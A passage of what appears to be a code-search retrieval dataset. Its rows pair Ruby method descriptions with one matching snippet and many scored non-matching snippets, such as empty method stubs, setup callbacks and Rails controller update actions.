query_id
stringlengths
32
32
query
stringlengths
7
6.75k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
8844d670fab2b6c76acdb5eb5cb1634e
TODO Remove this maybe?
[ { "docid": "bda30fd2ee9345788220da059a453fe1", "score": "0.0", "text": "def respond_with(*args)\n @resource = [:admin] + args\n super(*(@resource))\n end", "title": "" } ]
[ { "docid": "b6b2bcc0062aeb115edab7b10cbe6930", "score": "0.659932", "text": "def desired; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64747685", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64747685", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64747685", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64747685", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64747685", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64747685", "text": "def bodystmt; end", "title": "" }, { "docid": "b7567a2a68cade31f2360723a4c42dc7", "score": "0.63501203", "text": "def used_by; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.6309025", "text": "def used; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.6309025", "text": "def used; end", "title": "" }, { "docid": "2290804b238fc95bfd6b38f87c6d2895", "score": "0.6252216", "text": "def override; end", "title": "" }, { "docid": "baabe5bb658b17a85353fb66fdbbf873", "score": "0.61341614", "text": "def extended; end", "title": "" }, { "docid": "a9dd648a5d0d2e7d56223e7c753f5e2e", "score": "0.6104234", "text": "def telegraphical()\n end", "title": "" }, { "docid": "58e2e07d11b107b6864a328f2187e248", "score": "0.6102382", "text": "def apop?; end", "title": "" }, { "docid": "3caf4c824a6d6a4a5616c13fcab418da", "score": "0.6091218", "text": "def applied; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.60526276", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.60526276", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.60526276", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.60526276", "text": "def preparable; end", "title": "" }, { "docid": "6ab77a9219ee157923bc58599ba6aa77", "score": "0.60116893", "text": "def in_use; end", "title": "" }, { "docid": "6ab77a9219ee157923bc58599ba6aa77", "score": "0.60116893", "text": "def in_use; end", "title": "" }, { "docid": "b7cfdec5315b5d3c26b002081b1dbae3", "score": "0.6008602", "text": "def coming_soon; end", "title": "" }, { "docid": "8d1d77531cce0d12539ad149eebad454", "score": "0.6004191", "text": "def sub_from; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.59865195", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.59865195", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.59865195", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.59865195", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.59865195", "text": "def implementation; end", "title": "" }, { "docid": "3ae137b1a40ff3aae4f3cbb2b6082797", "score": "0.59822494", "text": "def reaper; end", "title": "" }, { "docid": "7ec57c3874853e50086febdbdd3221bf", "score": "0.5964886", "text": "def wedding; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.5949046", "text": "def extra; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.5949046", "text": "def extra; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.5949046", "text": "def extra; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.5949046", "text": "def extra; end", "title": "" }, { "docid": "7ff2011fa3dc45585a9272310eafb765", "score": "0.59405166", "text": "def isolated; end", "title": "" }, { "docid": "6a6ed5368f43a25fb9264e65117fa7d1", "score": "0.5888726", "text": "def internal; end", "title": "" }, { "docid": "c3285b979f713395f60cf13edce8a310", "score": "0.5878216", "text": "def methodmissing; end", "title": "" }, { "docid": "794a198d95cf296afde54486d8c4e262", "score": "0.5854452", "text": "def avail_out=(*) end", "title": "" }, { "docid": "003f93545faf95741b6daf49b5599d9c", "score": "0.5853248", "text": "def _self; end", "title": "" }, { "docid": "8d0e128ad87cd20a86507c09c46a6f67", "score": "0.5821374", "text": "def termitidae()\n end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.5814556", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.5814556", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.5814556", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.5814556", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.5814556", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.5814556", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.5814556", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.5814556", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.5814556", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.5814556", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.5814556", "text": "def from; end", "title": "" }, { "docid": "170e7cc6f3b91fc8d88704f0d36db709", "score": "0.58017755", "text": "def initialize; super; end", "title": "" }, { "docid": "061a39ede6dfe56bc21b5ffe0ec3cba6", "score": "0.5784195", "text": "def extras; end", "title": "" }, { "docid": "a747cf4388fb3d14718cf9dda73c555f", "score": "0.57676166", "text": "def initalize; end", "title": "" }, { "docid": "a747cf4388fb3d14718cf9dda73c555f", "score": "0.57676166", "text": "def initalize; end", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.5746628", "text": "def operations; end", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.5746628", "text": "def operations; end", "title": "" }, { "docid": "950bef128403f02279cc1bb4ef43a028", "score": "0.5735045", "text": "def realized?; end", "title": "" }, { "docid": "950bef128403f02279cc1bb4ef43a028", "score": "0.5735045", "text": "def realized?; end", "title": "" }, { "docid": "0aa0db9270c5a88c81da713a1ee0e8f8", "score": "0.57343113", "text": "def rescued_exception; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.5734115", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.5734115", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.5734115", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.5734115", "text": "def wrapped; end", "title": "" }, { "docid": "8b3569b219e99d9eac85050822f6f885", "score": "0.57313675", "text": "def wrappers; end", "title": "" }, { "docid": "04e074efc99de627ea58633a58870ec3", "score": "0.5730909", "text": "def stpreason\n end", "title": "" }, { "docid": "a7e46056aae02404670c78192ffb8f3f", "score": "0.57303464", "text": "def original_result; end", "title": "" }, { "docid": "dd634988bef3cbda8a94486413375360", "score": "0.57271457", "text": "def lookup; end", "title": "" }, { "docid": "dd634988bef3cbda8a94486413375360", "score": "0.57271457", "text": "def lookup; end", "title": "" }, { "docid": "1151221aa9457e5cad317e4fec922758", "score": "0.571594", "text": "def adjugate; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.5708087", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.5708087", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.5708087", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.5708087", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.5708087", "text": "def meta; end", "title": "" }, { "docid": "dff37ea0d68b9c86bab1ceb2dfb658a9", "score": "0.5705874", "text": "def rc; end", "title": "" }, { "docid": "d509f8cefdd8fc87fefabff3705478b5", "score": "0.57014954", "text": "def custom\n \n end", "title": "" }, { "docid": "7db0727baf89eb76beac27c515d7fe32", "score": "0.56979513", "text": "def support; end", "title": "" }, { "docid": "bc658f9936671408e02baa884ac86390", "score": "0.5685969", "text": "def anchored; end", "title": "" }, { "docid": "8b608597e4f8cb342968a26900959e68", "score": "0.5681565", "text": "def extended?; end", "title": "" }, { "docid": "20888292727941835888e2d0f9081c0f", "score": "0.5680106", "text": "def inquiry; end", "title": "" }, { "docid": "20888292727941835888e2d0f9081c0f", "score": "0.5680106", "text": "def inquiry; end", "title": "" }, { "docid": "20888292727941835888e2d0f9081c0f", "score": "0.5680106", "text": "def inquiry; end", "title": "" }, { "docid": "9de4306501711176ab8084b28395030d", "score": "0.56719774", "text": "def module; end", "title": "" }, { "docid": "954c5828178f6e4a659c40ef92736547", "score": "0.56675845", "text": "def helpful!\n\n\t\tend", "title": "" }, { "docid": "4cf2b877abd310fa04accd2bc46536d0", "score": "0.566474", "text": "def origin; end", "title": "" }, { "docid": "4cf2b877abd310fa04accd2bc46536d0", "score": "0.566474", "text": "def origin; end", "title": "" }, { "docid": "4cf2b877abd310fa04accd2bc46536d0", "score": "0.566474", "text": "def origin; end", "title": "" }, { "docid": "4cf2b877abd310fa04accd2bc46536d0", "score": "0.566474", "text": "def origin; end", "title": "" }, { "docid": "4cf2b877abd310fa04accd2bc46536d0", "score": "0.566474", "text": "def origin; end", "title": "" }, { "docid": "4cf2b877abd310fa04accd2bc46536d0", "score": "0.566474", "text": "def origin; end", "title": "" }, { "docid": "4cf2b877abd310fa04accd2bc46536d0", "score": "0.566474", "text": "def origin; end", "title": "" }, { "docid": "67081eb3c98dc9ab87bd978f73a10e81", "score": "0.56617564", "text": "def advanced; end", "title": "" }, { "docid": "67081eb3c98dc9ab87bd978f73a10e81", "score": "0.56617564", "text": "def advanced; end", "title": "" }, { "docid": "e6431ff47476c9014fb64198d5853e1e", "score": "0.56536794", "text": "def overrides; end", "title": "" }, { "docid": "e6431ff47476c9014fb64198d5853e1e", "score": "0.56536794", "text": "def overrides; end", "title": "" }, { "docid": "e44ae2cef169d29f78b2b6306add59da", "score": "0.5652012", "text": "def huddlingly()\n end", "title": "" }, { "docid": "d11da73d7a741de16ef5e4fb4157a01a", "score": "0.5642223", "text": "def access; end", "title": "" }, { "docid": "d11da73d7a741de16ef5e4fb4157a01a", "score": "0.5642223", "text": "def access; end", "title": "" }, { "docid": "431dbfdbf579fcf05cd1ab47f901de9e", "score": "0.5631157", "text": "def real_name; end", "title": "" }, { "docid": "c8216d758c47c5c1acf2dd26692ffe03", "score": "0.56304973", "text": "def purpose; end", "title": "" } ]
aaadfe3abcf7485e21672fa05b7636c4
Use callbacks to share common setup or constraints between actions
[ { "docid": "c809b1b59d8edb67d4d8e78c5d148242", "score": "0.0", "text": "def set_library\n @library = Library.find_by(id: params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.62848085", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.61890435", "text": "def run_actions; end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6185861", "text": "def action_hook; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.606762", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.606762", "text": "def callbacks; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.60498905", "text": "def actions; end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.59024864", "text": "def add_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.5884169", "text": "def define_action_hook; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.5792575", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.5748751", "text": "def post_setup\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5627499", "text": "def before_setup; end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5606624", "text": "def workflow\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.55809575", "text": "def setup_handler\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.5558486", "text": "def action_run\n end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5516825", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.5486611", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.5463779", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.5439279", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5434105", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5434105", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5434105", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5434105", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5434105", "text": "def action; end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5402984", "text": "def define_action_helpers; end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5371651", "text": "def pre_task\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.5353813", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.5347581", "text": "def advice\n end", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.53456753", "text": "def after_set_callback; end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.5336303", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.53343606", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5332274", "text": "def setup(resources) ; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.53134495", "text": "def around_hooks; end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.53109485", "text": "def setup_signals; end", "title": "" }, { "docid": "82e085a8e75669a599e0040ca87a471d", "score": "0.5279371", "text": "def after_generate_callbacks; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5278908", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5278908", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5278908", "text": "def action_methods; end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5265965", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5257555", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5257555", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "0546678565924e78a745e5cef68d48c5", "score": "0.5255417", "text": "def after_validate\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.5253427", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.5251098", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.525025", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "b38d806f5ec636ee9d5f44fb23305a36", "score": "0.5238802", "text": "def prepare_for_execution(evt,config)\n # here for sub-classes to override.\n end", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.5236271", "text": "def config(action, *args); end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.5235834", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.5228865", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.52261966", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.52157885", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.52157885", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.52137935", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.5210328", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.5204188", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.52019185", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.5196791", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5194219", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "b5a0ab7ed3e972234646ba3595c2dedd", "score": "0.5179095", "text": "def before_workflow_launch(workflow, user)\n #raise \"Must implement in target model!\"\n end", "title": "" }, { "docid": "f0f326d225e8cbd133913143052a8a4a", "score": "0.517646", "text": "def setup(state) ; end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.51756203", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.5174002", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.51628333", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.51620334", "text": "def before_action \n end", "title": "" }, { "docid": "bd2e3acf265240d586e3b13b8cc0d901", "score": "0.51535946", "text": "def perform_action(data); end", "title": "" }, { "docid": "9cffb775aa02c1d8265e0ca380519549", "score": "0.51515704", "text": "def before_run; end", "title": "" }, { "docid": "d2b660426f507d0f03c848711b5beba5", "score": "0.51492107", "text": "def action(unit)\n\tend", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.5147566", "text": "def lookup_action; end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.5144518", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "d2e8f19a26a513f6404394abc4c96861", "score": "0.5143559", "text": "def do_adapter_specific_setup; end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51381844", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51380974", "text": "def action\n end", "title": "" }, { "docid": "c24bbd44ea26bf1dda4224f208105458", "score": "0.5133476", "text": "def after_view_setup\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.513057", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5129939", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.51275325", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "bce3e1d1089bf6d6722900bd3cac0f36", "score": "0.5116523", "text": "def callback\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5111553", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "abe3c13037a9c3c5928175da8611d57f", "score": "0.5108727", "text": "def activate; end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5108299", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.51074684", "text": "def release_actions; end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.5106882", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "0fe8b3b5573f8eb57ec1752658a62e4e", "score": "0.51023096", "text": "def call\n setup_context\n super\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.51012903", "text": "def action\n end", "title": "" }, { "docid": "6202aee254ea117ff0e39be3778aab0a", "score": "0.5098748", "text": "def form_setup\n\tend", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5097123", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "11f830af7a28e3a91fcf2311c1d4f679", "score": "0.5095747", "text": "def callback\n\n end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.509514", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5088848", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.50865436", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.5083433", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.5083433", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "61fb486e47690f37839c73b4f129fa66", "score": "0.5080525", "text": "def action=(_arg0); end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.507731", "text": "def action_target()\n \n end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.5076042", "text": "def save_action; end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.50740045", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "2cbecfa5c6d24dfe128e9bfe5123e6d1", "score": "0.50702876", "text": "def pre_authorize_cb=(_arg0); end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.50646776", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "60c1248b0b192041d3a71310526fce70", "score": "0.50586367", "text": "def setup\n\t\tend", "title": "" }, { "docid": "60c1248b0b192041d3a71310526fce70", "score": "0.50586367", "text": "def setup\n\t\tend", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.50544965", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.5041485", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" } ]
3fea7e747249acdf91c09adaa5550629
PUT /civils/1 PUT /civils/1.json
[ { "docid": "b2c8e9b679d18c00e821a34f9d72adb1", "score": "0.6808958", "text": "def update\n @civil = Civil.find(params[:id])\n \n respond_to do |format|\n if @civil.update_attributes(params[:civil])\n format.html { redirect_to @civil, notice: 'Civil was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @civil.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "bfb4017453bf6240114d9a3cfcd5dc51", "score": "0.6727699", "text": "def update\n @civilite = Civilite.find(params[:id])\n\n respond_to do |format|\n if @civilite.update_attributes(params[:civilite])\n format.html { redirect_to(@civilite, :notice => 'Civilite was successfully updated.') }\n format.json {render :json => {\"success\"=>true,\"data\"=>@civilite}}\n \n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @civilite.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "949da52b59313e7dac4c22cefd3c6ca8", "score": "0.6619103", "text": "def update\n respond_to do |format|\n if @civic.update(civic_params)\n format.html { redirect_to @civic, notice: 'Civic was successfully updated.' }\n format.json { render :show, status: :ok, location: @civic }\n else\n format.html { render :edit }\n format.json { render json: @civic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" 